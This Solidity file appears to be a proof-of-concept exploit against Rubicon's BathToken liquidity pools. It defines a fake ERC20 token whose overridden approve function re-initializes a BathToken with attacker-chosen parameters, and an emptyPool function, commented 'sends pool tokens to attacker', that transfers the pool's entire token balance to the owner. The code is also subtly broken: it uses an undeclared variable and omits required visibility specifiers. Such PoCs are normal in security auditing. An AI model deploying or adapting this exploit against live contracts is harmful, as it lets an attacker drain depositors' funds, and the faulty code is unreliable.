// SPDX-License-Identifier: BUSL-1.1

pragma solidity =0.7.6;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "../../contracts/rubiconPools/BathToken.sol";

contract fakeToken is ERC20("trueToken", "TRUE"), Ownable {

    ERC20 trueToken;
    address marketAddress;
    uint256 counterApprove;
    BathToken bathToken;

    function setTrueToken(address _trueTokenAddress) onlyOwner {
        trueToken = ERC20(_trueTokenAddress);
    }

    function setMarketAddress(address _marketAddress) onlyOwner {
        marketAddress = _marketAddress;
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        if (counterApprove == 1) { //first approve is from bathHouse
            bathToken = BathToken(msg.sender);
            bathToken.initialize(trueToken, owner, owner);
            attacked = false;
        }
        counterApprove++;
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function setAndApproveMarket(address _market){
        // sets legitimate market after malicious bathToken initialization
        bathToken.setMarket(_market);
        bathToken.approveMarket();
    }

    function emptyPool() onlyOwner {
        // sends pool tokens to attacker
        uint256 poolBalance = trueToken.balanceOf(address(bathToken));
        trueToken.transferFrom(address(bathToken), owner, poolBalance);
    }
}
